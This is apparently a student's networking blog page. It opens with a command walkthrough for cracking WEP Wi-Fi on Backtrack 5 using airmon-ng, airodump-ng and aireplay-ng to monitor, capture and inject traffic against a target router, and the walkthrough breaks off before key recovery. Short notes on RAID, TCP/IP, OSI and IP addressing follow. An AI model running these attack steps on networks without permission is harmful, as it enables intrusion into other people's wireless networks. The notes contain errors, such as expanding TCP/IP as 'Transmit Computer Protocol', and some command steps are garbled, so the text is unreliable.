Tuesday 2 April 2013

Cracking WEP WIFI Using Backtrack 5



Open Terminal in Backtrack 5 :  

Command : #iwconfig

 
Objective : To identify which interface is up (active)
Command : #ifconfig
  

Objective : To identify what chipset & driver in used
Command : #airmon-ng

Objective : To activate / start the interface
Command : #airmon-ng start mon1

 
Objective : To list all available wireless router / switch & client’s mac address
Command : #airodump-ng mon1



Objective : To select specific Encryption you want to encrypt
Command : #airodump-ng --bssid <Mac Address> -c <channel no.> -w <put file name you desire> <interface>
 




Objective : To generate traffic
Command : #aireplay-ng -1 0 –a <Mac Address>  <interface>

Objective : To generate traffic
Command : #aireplay-ng -3 –b <Mac Address>  <interface>


Monday 1 April 2013

RAID ( Redundant Array of Independent Disks )


TCP / IP ( Transmit Computer Protocol / Internet Protocol)

TCP / IP : >

  •  Menghubungkan rangkaian ke rangkaian.
  • It can also be used as a communications protocol in a private network ( either an intranet or an extranet ) .

OSI ( Open system Intercinnection )  Model  :>

     

Thursday 14 February 2013

2 Type IP Address

Difference  static and dynamic ip address :>


Static  : 
  • Determine by network Administrator.
  • Static IP addresses are also great a computer as a server, as it should give a  file server faster file uploads and downloads .
  • Static IP addresses are more reliable for Voice over Internet Protocol (VOIP) .

Dynamic : 
  •  Dynamic Host Configuration Protocol  ( DHCP ) server.
  •  Dynamic Host Configuration Protocol (DHCP) setup and assigns each computer attached to the router an IP address automatically. 

 IP Config  / all :

  1. Ip Address
  2. MAC Address  @ Physical Address.
  3. DNS ( Domain Name System ) .
  4. Subnet Network .
  5. DHCP ( Dynamic Host Configuration Protocol ) .

Thursday 7 February 2013

IP ADDRESS ( INTERNET PROTOCOL )

Internet Protocol :

  • Set of rules to communicate.
  • Used for communication in a network.
  • Is a numeric label assigned to each device participating in a computer network that uses the internet protocol for communication.